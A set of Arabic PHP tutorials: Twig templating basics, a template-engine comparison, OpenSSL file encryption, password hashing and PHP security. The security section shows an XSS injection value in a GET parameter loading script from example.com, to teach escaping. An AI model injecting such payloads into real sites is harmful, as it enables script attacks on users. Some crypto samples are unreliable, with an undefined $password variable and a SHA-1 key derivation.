لنعد إلى مثال الطالب المجد بالتأكيد لقد حصل على علامات مرتفعة، لذا يتوجب علينا اختبار علامته قبل إظهار رسالة الترحيب به. بين التعبيرين السابقين يتم وضع ما نريد عرضه عند تحقق الشرط وإليك مثال عنه:

{# كل شرط يبدأ بالتركيب التالي #}
{% if mark > 90 %}
     Hello smart student {{ name }}
    {# كل شرط ينتهي بالتركيب التالي #}
{% endif %}
{# لاحظ أن العبارة الأخيرة هي كلمة واحدة #}

في السطر الأول يتحقق تويغ من علامة الطالب التي يمثلها المتغير mark فإن كانت أكثر من 90 فإنه ينتقل للسطر التالي حيث يظهر رسالة الترحيب أما السطر الأخير endif فهو يغلق الشرط.

كما أنه يمكن أن تتحقق عبارة if في Twig مما إذا كان للمتغير قيمة ما حيث يمكننا إضافة شروط لعرض أي نص. لنفترض أن لدينا متغيرا باسم agent ونريد عرض نص عندما يحتوي على نص، يمكننا تمثل ذلك بالمثال التالي:

{% if agent %}
    We have an agent in your area
    Our agent: {{ agent }}
{% endif %}

مثال آخر؛ دعنا نقول أن لدينا متغير يسمى السعر. نريد عرض نص إذا كان السعر صفرًا.

{% if price == 0 %}
    This product is free 
{% elseif price > 10 %} 
   This product is cheap  
{% else %}
   You have to pay {{ price }}
{% endif %}

يرجى ملاحظة أننا نستخدم العامل التالي == للتحقق من المساواة وأننا يمكننا التحقق من أكثر من حالة للشرط باستعمال elseif ووضع حالة أخيرة للشرط إن لم تتحقق أي حالة من الحالات السابقة عبر else.

استخدم دائمًا {% endif %} لإغلاق شرط if السابق، فكل عبارة if يجب أن تغلقها عبارة endif.

للمزيد من المعلومات عن استخدام اطلع على صفحة الوسم if في توثيق تويغ العربي.

الحلقات التكرارية وتكرار أمر ما

إذا كان حقلنا أو متغيرنا عبارة عن مصفوفة فيها عناصر أو أي نوع بيانات لديه عناصر يمكن المرور عليها واحدة واحدة، فيمكننا تنفيذ أمر ما أو عرض معلومة ما لكل عنصر من تلك العناصر باستخدام for كما في المثال التالي:

{% for name in names_list %}
   Hello: {{ name }}
{% endfor %}

حيث names_list هو اسم المصفوفة أما name فهو اسم تم إطلاقه على كل عنصر من عناصر المصفوفة.

في السطر التالي يتم تنفيذ الأوامر التي بين for وبين edfor على كل عناصر المصفوفة وبالتالي في مثالنا السابق تظهر عبارة ترحيب لكل اسم من الأسماء التي تحتويها المصفوفة، أما السطر الأخير فهو لإغلاق الحلقة وإعلام محرك القالب أن عليه المتابعة بشكل اعتيادي لباقي تعليمات القالب اي أن التعليمات التي تأتي بعد {% endfor %} لن تكون خاصة بالحلقة.

كل عبارة for يجب حتما أن تنتهي بعبارة {% endfor %} ويرجى ملاحظة أن endfor هي كلمة واحدة وليس كلمتين.

ماذا بعد؟

بالتأكيد هذا ليس كل شيء في تويغ فهناك الكثير لكن بهذا القدر البسيط من المعلومات يمكنك الانطلاق مع تويغ والبدء بكتابة قالب ما وتجربته. إن كنت قد وصلت إلى هذه النقطة بشكل متسلسل فيفترض أنك أصبحت مستعدا لكتابة قالبك الأول وتجربته عمليا

نقدم لك فيما يلي نموذج لقالب تويغ لعرض قائمة منتجات مع سعرها:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Products</title>
</head>
<body>
<h1>Products</h1>
{# This is a comment and will not render #}
{% for product in products %}
        Product name: {{ product.name }}<br>
        {% if product.price == 0 %}
              Free 
       {% else %}
             Procust price {{ product.price }}
      {% endif %}
{% endfor %}
</body>
</html>

الخلاصة

لقد تحدثنا في هذا المقال عن طريقة تثبيت تويغ مع وبدون استخدام composer ثم انتقلنا إلى بنية قالب تويغ وصيغ التعبيرات فيه: صيغة إخراج المتغيرات وإظهار النتائج، صيغة التعليقات و صيغة افعل شيئا ما ثم تحدثنا عن العبارات الشرطية وعن حلقات التكرار

في المقال التالي سوف نتعمق أكثر ونتحدث عن الوسوم، المرشحات، والاختبارات.

لا نهدف في هذه المقالات إلى ترجمة الموقع الرسمي لمحرك قوالب Twig والتي تجدها في موسوعة حسوب، توثيق Twig، لكننا نهدف إلى توليد فهم عميق وبسيط لهذه التقنية يمكنك من الاستفادة القصوى منها، بحيث يكون مفيدًا للمبتدئين وممتعًا للمتقدمين.

مفهوم محرك القالب وعمله

معالج القوالب المعروف أيضًا باسم محرك القوالب template engine، هو وسيلة لأتمتة إنشاء المستندات بما في ذلك صفحة الويب، حيث تسمح أنظمة الأتمتة بتقليل إدخال البيانات إلى الحد الأدنى، وكذلك تقليل الوقت الذي يستغرقه إنشاءها أو تعديلها، وتقليل المخاطر المرتبطة بالخطأ البشري.

من أهم الفوائد الناتجة عن استخدام محرك القالب هو جعل جملة من المستندات أو صفحات الويب ضمن فئة واحدة بحيث يؤدي تعديل القالب إلى تعديل كامل المستندات المنسقة المرتبة به.

كما يمكن أن نعرف محرك القوالب الخاص بصفحات الويب على أنه أسلوب يمنح المطورين القدرة على فصل HTML / CSS عن الكود المنطقي للتطبيق لصفحة ويب مثلًا كود PHP.

لتوضيح الصورة عن عمل محرك القالب، لنفرض أن لدينا عشرة طلاب نريد أن نرسل لكل منها رسالة ترحيب على النحو التالي:

اقتباس

مرحبا بالطالب المجد {{ name }}

1. نسمي العبارة السابقة بالقالب
2. نسمي أسماء الطلاب المتمثلة بالحقل name بالبيانات
3. أما عبارات الترحيب الناتجة فهي المستند المنسق وأخيرًا فإن محرك القالب هو البرنامج الحاسوبي الذي قام بدمج القالب السابق مع البيانات والتي هي أسماء الطلاب في مثالنا حيث يتم استبدال اسم الطالب في موضعه حسب الحاجة.

ناتج القالب السابق إن كان لدينا قائمة باسمي طالبين ما يلي:

• مرحبا بالطالب المجد سامر
• مرحبا بالطالب المجد زياد

وهكذا بحيث يختلف الاسم تبعا لبيانات المقدمة للقالب.

اقتباس

عمل محرك القالب: بيانات + قالب ⇐ مستندات منسقة

أشهر محركات القوالب المستخدمة في برمجة صفحات الويب

لا ينحصر مجال عمل محركات القالب في الويب، وفي الواقع يمكن أن تشمل أي نص أو رسم يمكن توليده وتنسيقة سواء كانت صفحة كتاب أو إعلان بسيط.

تؤمن لغة البرمجة بي إتش بي PHP آليات سهلة لمعالجة القوالب حيث يمكن كتابة القالب بلغة PHP على النحو التالي مثلًا:

Hello student <?php echo  $student; ?>

بالرغم من كون PHP تؤمن خصائص محرك القالب إلا أنها من النادر أن تستخدم لهذا الغرض من قبل المبتدئين وينحصر استخدامها من قبل من يتقن تلك اللغة.

لقد تنوعت التقنيات وتقدمت كثيرا ويوجد الكثير من محركات القوالب سوف نذكر أشهر محركات القوالب:

• سمارتي Smarty: محرك قالب شهير سهل التركيب مكتوب بلغة PHP وهو يأتي في المرتبة الثانية بعد تويغ من حيث شيوع الاستخدام
• بليت Plates: محرك قالب له طريقة كتابة معقدة بعض الشيء وهو أقل قابلية للقراءة من قبل المبتدئين
• فولت Volt: محرك قالب مكتوب بلغة سي وطريقة كتابة القالب به تشبه تويغ
• تويغ Twig محرك قالب سريع ومرن وشائع جدا مكتوب بلغة بي اتش بي

الفرق بين محرك القالب والقالب ولغة القالب

نود أن نوضح شيئا مهما يوضح الفرق بين المفاهيم المتداخلة، محرك القالب والقالب ولغة القالب:

• محرك القالب templating engine هو برنامج كتبته الشركة التي صممت محرك القالب ويمكن تحميله من الموقع الرسمي للشركة.
• القالب template هو أوامر التنسيق أو الإخراج التي التي نكتبها نحن ونقدمها إلى محرك القالب مثلا الملف single.twig يدعى قالب.
• لغة القالب template syntax فهي طريقة الكتابة التي يطلب منا محرك القالب الالتزام بها ليفهم ما نكتبه. أي القواعد التي علينا مراعاتها عند كتابة القالب مثلا طريقة اخراج المتغيرات وطريقة استدعاء الدوال والمرشحات وغيرها من التقنيات التي يوفرها القالب مثلا يمكن القول بأن لغة القالب فولت تشابه كثيرا لغة القالب تويغ.

لكل محرك قالب طريقة خاصة به لكتابة القوالب عادة تسمى باسم محرك القالب نفسه ونحن هنا لا نقصد لاحقة الملف بل نقصد طريقة الكتابة ضمن الملف نفسه أي template syntax.

تعريف تويغ Twig ومزاياه

يُعَدّ تويغ Twig محرك قالب مجاني، مفتوح المصدر، سريع، آمن، مرن وسهل التعلم وهو مبني على لغة PHP ويتم استخدامه بشكل أساسي لإخراج صفحات HTML، ولكن يمكن استخدامه أيضًا لإخراج أي تنسيق نصي آخر. ويعتبر تويغ Twig مكون مستقل يمكن دمجه بسهولة في أي مشروع PHP، ويتمتع تويغ Twig بالمزايا التالية:

السرعة

قد يتبادر إلى الذهن أن استعمال قوالب تويغ Twig سوف يبطئ صفحة ويب مقارنة باستخدام PHP لكن في الواقع هذا غير صحيح لأن تويغ يقوم يتصريف أو ترجمة القالب إلى لغة بي إتش بي ثم ينفذ الكود الناتج مباشرة. لا يكتفي تويغ بترجمة الكود إلى PHP بل يقوم بعدد من عمليات تحسين صياغة الكود بهدف زيادة السرعة في التنفيذ.

الحفاظ على البيانات

عندما يستخدم مصمم السمة أو pack end تويغ فإنه يمكن من المسؤول عن شكل الموقع أو front end أن يقوم هو بتعديل القوالب حسب ما يراه مناسبا دون المخاطرة بالبيانات حيث أن التعليمات المكتوبة في قوالب تويغ تكون آمنة وهي تستخدم لقراءة البيانات وإظهارها وليس لتعديلها

لا للتعليمات الخطرة والأخطاء الحرجة

يمنحك تويغ أمانا إضافيا مقارنة باستخدام PHP مباشرة حيث أن التعليمات المتاحة في قوالب تويغ لا يمكنها أن تتسبب في انهيار الموقع.

هل توقف موقعك عن العمل نتيجة كود بي اتش بي خاطئ؟ يحتوي Twig على وضع صندوق الاختبار (Sandbox) من أجل تقييم شيفرات القوالب غير الموثوق بها قبل تنفيذها.

شيوع الاستخدام

عندما نتعلم تقنية ما فمن المهم أن نكون قادرين على استخدامها في مجالات شتى وهذا يؤمنه تويغ بسهولة فهو مستخدم في الكثير من المشاريع مفتوحة المصدر والكثير من أطر العمل على سبيل المثال: Symfony وDrupal8 وphpBB وLaravel. بالإضافة إلى إمكانية استخدامه في تصميم قوالب وردبرس وهذا ما سوف نتطرق له كمثال عملي لاحقا

المرونة ودعم الوراثة

يتمتع تويغ بالمرونة حيث أنه من السهولة توسيع عمل تويغ وإضافة فلاتر أو دوال له كما يدعم الوراثة فإذا كان لدينا قالبان متشابهان فيمكن أن لا نحتاج كتابة كلا القالبين يكفي أن نكتب أحدهما ثم نكتب الفروق في القالب الثاني بحيث يمكن أن يكون القالب الابن مجرد تعديل بسيط للقالب الأب.

مقارنة بين تويغ ومحركات القوالب الأخرى

سوف نقوم بمقارنة محركات القالب من حيث سهولة الاستخدام وشيوع محرك القالب وسرعة التنفيذ

سهولة القراءة والتعلم

يحتل تويغ و فولت المنزلة الأولى في سهولة القراءة حيث أن لهما ذات المعايير في كتابة القالب يليه سمارتي وأخيرا PHP وبليت وكمثال عن طريقة إخراج متغير:

{# Twig #}
{{ name }} 

volt
{# volt #}
{{ name }}

smarty
{* smarty *}
{$name} 

<?php echo $name; ?>

<!-- plate -->
Hello <?=$this->e($name)?>

كلما كان بناء القالب بسيطا وأقرب إلى اللغة العامة كانت سهولة العلم أسرع وكما نلاحظ من المثال أعلاه فنلاحظ أن استخدام تويغ لا يتطلب إضافة أحرف خاصة لـ اسم المتغير على عكس باقي محركات القالب.

الاستخدام الشائع بين المطورين

بهدف اختبار شيوع استخدام كل من محركات القالب الثلاث، فقد تمت موازنة ترتيب أليكسا للموقع الرسمي لكل من محركات القالب باستثناء PHP؛ أما بالنسبة إلى PHP، فإن شهرتها باعتبارها لغة برمجة تجعل ترتيب موقعها في أليكسا لا يعطي انطباعًا صحيحًا عن مدى شهرتها كمحرك قالب يقيم إليكسا المواقع بالاعتماد على مدى شيوعها وعدد الزوار شهريا للموقع فمثلا يحتل غوغل الرقم 1، وكلما كان عدد زوار الموقع أكبر كان ترتيب الموقع أقل وبمعنى آخر هناك 56000 ألف موقع تتفوق على سمارتي من حيث عدد الزوار أما بالنسبة لموقع تويغ الرسمي فهناك 13000 موقع فقط تتفوق عليه من حيث عدد الزوار أما تقيم alexa فأن الموقع الرسمي لـ تويغ يحتل فهر يسبق جميع محركات القالب المذكورة حيث كان 13000 بينما يحتل سمارتي المركز الثاني 56000. في المنزلة قبل الأخيرة تأتي فولت بتقييم 127000 أما محرك القالب بلوت فكان له التريب التالي في إليكسا وهو أقل محركات القوالب السابقة شيوعا بتقييم 1,600,000.

السرعة عند الاستخدام

تقوم محركات القالب بتوليد شيفرة PHP مقابل للقالب ثم تقوم تنفيذ الشفرة الناتجة مما يجعل سرعة الأداء متقاربة.

لقد تم الرجوع إلى الموقع المختص بمقارنة الأداء phpbenchmarks.com فكانت سرعة الإصدار الأخير من محركات القالب الشهيرة متقاربة جدا عند عند استخدامها مع الإصدار 7.3 من PHP.

سهولة التركيب

في هذه النقطة تتفوق سمارتي Smarty على Twig حيث يتم تركيب سمارتي بصفته مكون مستقل أما تويغ طريقة تنصيبه الرسمية تتضمن استعمال composer وعادة ما يكون جزءًا من مشروع آخر . لكن في المقال التالي سوف نقوم بتقديم طريقة سهلة لتركيب تويغ بشكل مستقل وبدون استخدام composer بحيث يصبح الفرق أقل أهمية. أما PHP فهي لا تحتاج إلى أي تركيب حيث تكون ممكنة مسبقًا على مختلف مواقع الويب المبنية فيها.

كلمة أخيرة

تتنوع محركات القوالب كثيرا و في العصر الحالي تحتل الإنتاجية وسرعة الأداء أهمية بالغة وهذا ما يوفره Twig، كما يسهل استخدام Twig الحصول على كود نظيف واضح وبسيط يسهل صيانتها عند الحاجة. بحيث نركز في القالب على الشكل العام للمستند المنسق وعلى بناء المستند.

لقد تطرقنا في هذا المقال إلى مدخل سريع عن تويغ وتم بيان عدد من مزاياه مثل السرعة والحفاظ على البيانات وغيرها كما أجرينا مقارنة بين عدد من محركات البحث وفي النهاية قمنا بشرح الفرق بين محرك القالب والقالب ولغة القالب وفي المقال الثاني سوف نقوم بانطلاقة سريعة مع تويغ تهدف إلى تعريفنا بمتطلبات العمل وبطريقة تثبيت تويغ مع لمحة سريعة عن طريقة استخدامه.

التشفير وفك التشفير المتناظر لملفات كبيرة باستخدام OpenSSL

لا توفر PHP دالة مضمنة لتشفير وفك تشفير الملفات الكبيرة، يمكن استخدام الدالة openssl_encrypt لتشفير السلاسل النصية لكن يعد تحميل ملف كبير جدًا في الذاكرة فكرةً سيئةً، لذا يجب كتابة دالة تقوم بهذا العمل، يستخدم هذا المثال خوارزمية AES-128-CBC المتناظرة لتشفير أجزاء صغيرة من ملف كبير وكتابتها في ملف آخر.

تشفير الملفات

// (1)
define('FILE_ENCRYPTION_BLOCKS', 10000);

/**
* ‫تشفير الملف الممرر وحفظ النتيجة في ملف جديد باللاحقة "‎.enc"
*
* @param string $source مسار الملف الذي نريد تشفيره
* @param string $key المفتاح المستخدم للتشفير
* @param string $dest اسم الملف الذي نريد أن نكتب فيه الملف المشفَّر
* @return string|false 
* ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ
*/
function encryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);
    $iv = openssl_random_pseudo_bytes(16);
    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        // ضع شعاع التهيئة في بداية الملف‬
        fwrite($fpOut, $iv);
        if ($fpIn = fopen($source, 'rb')) {
            while (!feof($fpIn)) {
                $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
                $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv);
                // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $ciphertext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }
    return $error ? false : $dest;
}

نحدد في الموضع (1) عدد الكتل التي يجب قراءتها من الملف المصدري من أجل كل جزء، بحيث تتألف كل كتلة من 16 بايت من أجل الخوارزمية الآتية:

 'AES-128-CBC'

لهذا، فإذا قرأنا 10000 كتلة نحمّل 160 كيلوبايت في الذاكرة، يمكنك تعديل هذه القيمة لقراءة/كتابة أجزاء أصغر/أكبر.

فك تشفير الملفات

يمكنك استخدام هذه الدالة لفك تشفير الملفات المشفرة بالدالة السابقة.

/**
* ‫فك تشفير الملف الممرر وحفظ النتيجة في ملف جديد مع حذف آخر 4 محارف من اسم الملف
* @param string $source مسار الملف الذي نريد فك تشفيره
* @param string $key ‫المفتاح المستخدم لفك التشفير (ويجب أن يكون نفس المفتاح المستخدم للتشفير)
* @param string $dest اسم الملف حيث يجب أن نكتب الملف الجديد بعد فك التشفير
* @return string|false
* ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ
*/
function decryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);
    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        if ($fpIn = fopen($source, 'rb')) {
            // الحصول على شعاع التهيئة من بداية الملف
            $iv = fread($fpIn, 16);
            while (!feof($fpIn)) {
                $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1));
                // يجب أن نقرأ كتلة واحدة زيادة عن التشفير لفك التشفير
                $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv);
                // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $plaintext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }
    return $error ? false : $dest;
}

طريقة الاستخدام

إليك الشيفرة التالية لتعرف كيفية استخدام الدوال السابقة.

$fileName = __DIR__.'/testfile.txt';
$key = 'my secret key';
file_put_contents($fileName, 'Hello World, here I am.');
encryptFile($fileName, $key, $fileName . '.enc');
decryptFile($fileName . '.enc', $key, $fileName . '.dec');

ستنشئ هذه الشيفرة ثلاثة ملفات:

• testfile.txt وفيه النص الأصلي.
• testfile.txt.enc فيه الملف المشفر.
• testfile.txt.dec فيه الملف بعد فك تشفيره ويجب أن يكون نفس محتويات الملف testfile.txt.

التشفير المتناظر

يوضح هذا المثال التشفير المتناظر باستخدام خوارزمية AES 256 بالنمط CBC وهو اختصار لـ Cipher Block Chaining، نحتاج شعاع تهيئة لذا نولّد واحدًا باستخدام دالة openssl، ويستخدم المتغير ‎$strong لتحديد فيما إذا كان شعاع التهيئة المولَّد قويًا من ناحية التشفير.

التشفير

// طريقة التشفير
$method = "aes-256-cbc";

// الحصول على طول شعاع التهيئة المطلوب
$iv_length = openssl_cipher_iv_length($method);

// ‫ضبط للقيمة false من أجل السطر التالي
$strong = false;

// توليد شعاع التهيئة
$iv = openssl_random_pseudo_bytes($iv_length, $strong);

/*
‫يحتاج شعاع التهيئة للاسترجاع لاحقًا لذا خزنه في قاعدة البيانات لكن لا تعيد استخدام نفس شعاع التهيئة لتشفير بيانات مرةً أخرى
*/
if(!$strong) {
    // رمي استثناء إذا لم يكن شعاع التهيئة قويًا من ناحية التشفير
throw new Exception("IV not cryptographically strong!");
}

// الرسالة السرية
$data = "This is a message to be secured.";
// كلمة المرور
$pass = "Stack0verfl0w";

/* ‫يجب أن تُرسل كلمة المرور بالطريقة POST عبر جلسة HTTPS، قمنا بتخزينها في متغير هنا لأغراض توضيحية *
*/
// التشفير
$enc_data = openssl_encrypt($data, $method, $password, true, $iv);

فك التشفير

// ‫استعادة شعاع التهيئة من قاعدة البيانات وكلمة المرور من الطلب POST
// فك التشفير
$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv);

التشفير وفك التشفير بالأساس 64

إذا كانت البيانات المشفرة تحتاج للإرسال أو التخزين في نص قابل للطباعة عندها يمكن استخدام الدالتين ()base64_encode، و ()base64_decode على الترتيب.

// تشفير الترميز بالأساس 64
$enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv));

// فك الترميز وفك التشفير
$dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv);

دوال تعمية كلمة المرور

بما أنّ خدمات الويب الأكثر أمنًا تتجنب تخزين كلمات المرور بصياغة نص واضح فإنّ بعض اللغات مثل PHP توفر دوال تعميةصعبة الاستخراج hashing، ومتنوعة لدعم معيار الصناعة الأكثر أمنًا. يوفر هذا المثال توثيقًا لعمليات التعمية المناسب باستخدام PHP.

إنشاء كلمة مرور معماة

ننشئ نسخة معماة لكلمة المرور باستخدام الدالة password_hash()‎ لاستخدام تعمية معيارية بأفضل ممارسة للصناعة الحالية أو لاشتقاق المفتاح، في وقت كتابة هذا النص المعيار هو bcrypt مما يعني أنّ PASSWORD_DEFAULT له نفس قيمة PASSWORD_BCRYPT.

$options = [
    'cost' => 12,
];

$hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options);

المعامل الثالث ليس إجباريًا.

يجب أن نختار القيمة 'cost' بالاعتماد على تجهيزات خادم الإنتاج، ستجعل زيادتها كلمة المرور أكثر تكلفةً عند توليدها، كلما زادت تكلفة استخراج وفك الكلمة المعماة، استغرق الأمر وقتًا أطول عند محاولة شخص ما استخراجها؛ ومثاليًا يجب أن تكون التكلفة أعلى ما يمكن᠎ لكن من الناحية العملية يجب ضبطها بحيث لا تؤدي إلى بطء شديد في كل شيء، من المناسب أن تكون بين 0.1 و0.4 ثانية، إذا كنت محتارًا استخدم القيمة الافتراضية.

في الإصدارات السابقة للإصدار 5.5، الدوال password_*‎ غير متوفرة، يجب أن تستخدم حزمة التوافق للحصول على بديل لهذه الدوال، لاحظ أنّ حزمة التوافق تتطلب الإصدار PHP 5.3.7 أو أعلى أو إصدار يحتوي على التصحيح ‎$2y (مثل ريدهات).

إذا لم تكن قادرًا على استخدامها فيمكنك تنفيذ عملية تعمية على كلمة المرور باستخدام الدالة crypt()‎، وبما أنّ password_hash()‎ تُنفَّذ كغلاف حول الدالة crypt()‎ فلن تحتاج لفقدان أي وظيفة.

المثال التالي هو تنفيذ بسيط للتعمية بالمعيار bcrypt والتوافق مع password_hash()‎ ومن غير المضمون أن يحافظ على نفس قوة تشفير التنفيذ الكامل للدالة password_hash()‎.

إضافة غُفْل في عملية تعمية كلمة المرور

على الرغم من موثوقية خوارزمية التشفير إلا أنّه ما يزال يوجد ثغرة تستهدف جداول قوس قزح ولذا ينصح باستخدام غُفْل salt، والغفل بالعربية هو شيء ما يُضاف لكلمة المرور قبل تعميتها لجعل السلسلة النصية المصدر فريدة (انظر كتاب «علم التعمية واستخراج المعمى عند العرب»)، بالنظر إلى كلمتي مرور متطابقتين فإنّ نتيجة التعمية لهما ستكون فريدة أيضًا لأن الأغْفَال المضافة إليها فريدة.

يعد إضافة الأغفال العشوائية أحد أهم أجزاء أمان كلمة المرور الخاصة بك، وهذا يعني أنّه حتى مع جدول البحث lookup table لكلمات المرورة المعماة المعروفة فإنّ المهاجم لن يتمكن من مطابقة كلمة المرور المعماة الخاصة بالمستخدم مع كلمة المرور المعماة في قاعدة البيانات بسبب استخدام أغفال مختلفة، يجب أن تستخدم دائمًا أغفال عشوائية وقوية من ناحية التشفير اقرأ المزيد.

باستخدام خوارزمية bcrypt ودالة password_hash()‎ تُخزَّن أغفال النص الأصلي وأغفال النص المعمى الناتج مما يعني أنّه يمكن نقل النص المعمى عبر أنظمة ومنصات مختلفة وستبقى متطابقة مع كلمة المرور الأصلية.

في الإصدارات السابقة للإصدار 7.0 يمكنك استخدام الخيار salt لتعريف الأغفال العشوائية الخاصة بك على الرغم من عدم التشجيع على هذا الإجراء.

$options = [
    'salt' => $salt,
];

ملاحظة: إذا أهملت هذا الخيار ستولّد الدالة password_hash()‎ غُفْلًا عشوائيًا لكل كلمة مرور مقطعة.

بدءًا من الإصدار PHP 7.0.0 أُهمل خيار إضافة الغُفْل ومن المفضل الآن استخدام الغُفْل المولّد افتراضيًا.

ترقية كلمة مرور معماة موجودة إلى خوارزمية أقوى

إذا كنت تستخدم طريقة PASSWORD_DEFAULT لتجعل النظام يختار الخوارزمية الأفضل لتعمية كلمات المرور بها، مع زيادة قوة الخوارزمية الافتراضية قد ترغب في إعادة تعمية كلمات المرور القديمة عندما يسجل المستخدمون الدخول.

<?php
// حدد أولًا إذا كانت كلمة المرور الموفرة صحيحة
if (password_verify($plaintextPassword, $hashedPassword)) {

    // حدد الآن إذا كانت النسخة المعماة الموجود قد أُنشئت بخوارزمية لم تعد افتراضية بعد الآن
    if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
        // أنشئ كلمة معماة جديدة مع الخوارزمية الافتراضية الجديدة
        $newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT);

        // ثم احفظه في مخزن بياناتك
        // $db->update(...);
    }
}
?>

إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فعندها يمكنك تحديد الخوارزمية واستخدامها لإنشاء التعمية الأصلية بطريقة مشابهة للتالي:

<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {
    echo 'Algorithm is Bcrypt';
    // ‫يحدد "cost" مدى قوة إصدار Bcrypt 
    preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);
    $cost = $matches[1];
    echo 'Bcrypt cost is '.$cost;
}
?>

التحقق من كلمة المرور مقابل كلمة معماة

توفر الدالة password_verify()‎ المدمجة بدءًا من الإصدار PHP 5.5، إمكانية التحقق من صحة كلمة مرور مقابل كلمة معماة مقابلة لها، أو غير مقابلة.

<?php
if (password_verify($plaintextPassword, $hashedPassword)) {
    echo 'Valid Password';
}
else {
    echo 'Invalid Password.';
}
?>

تخزن كل خوارزميات عملية التعمية المدعومة معلومات تحدد آلية التعمية المستخدمة، لذا لا حاجة للإشارة إلى الخوارزمية المستخدمة لتعمية كلمة المرور الأصلية.

إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فيمكنك التحقق من كلمة المرور باستخدام الدالة crypt()‎، لاحظ أنه يجب اتخاذ احتياطات محددة لتجنب هجمات التوقيت.

<?php
// ‫غير مضمون أن يحافظ على نفس قوة تشفير تنفيذ password_hash()‎ الكامل
if (CRYPT_BLOWFISH == 1) {
    // ‫تتجاهل crypt()‎ كل المحارف التي تتجاوز طول الغفل، لذا يمكننا تمرير ?كامل كلمة المرور المعماة
    $hashedCheck = crypt($plaintextPassword, $hashedPassword);
    // ‫هذه موازنة وقت ثابت أساسية تعتمد على التنفيذ الكامل المستخدم في `password_hash()`
    $status = 0;

for ($i=0; $i<strlen($hashedCheck); $i++) {
        $status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i]));
    }
    if ($status === 0) {
        echo 'Valid Password';
    }
    else {
        echo 'Invalid Password';
    }
}
?>

ترجمة -وبتصرف- للفصول Cryptography - Password Hashing Functions من كتاب PHP Notes for Professionals book

إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها.

تسريب إصدار PHP

بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال:

X-Powered-By: PHP/5.3.8

لإصلاح ذلك يمكنك إما تغييره في ملف php.ini:

expose_php = off

أو تغيير الترويسة:

header("X-Powered-By: Magic");

أو استخدام طريقة htaccess:

Header unset X-Powered-By

إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove()‎ التي توفر لك قابلية حذف الترويسة:

header_remove('X-Powered-By');

إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك.

هجمات البرمجة عبر المواقع (XSS)

المشكلة

هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما.

مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت:

// http://example.com/runme.js
document.write("I'm running");

وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه:

<?php
echo '<div>' . $_GET['input'] . '</div>';

إذا تضمن معامل GET غير المُتحقق منه، ما يلي:

 ‎<script src="http://example.com/runme.js"></script>‎ 

فسيكون خرج سكربت PHP:

<div><script src="http://example.com/runme.js"></script></div>

سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب.

الحل

عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق.

الدوال المرشحة

تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم.

ترميز HTML

تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// أو
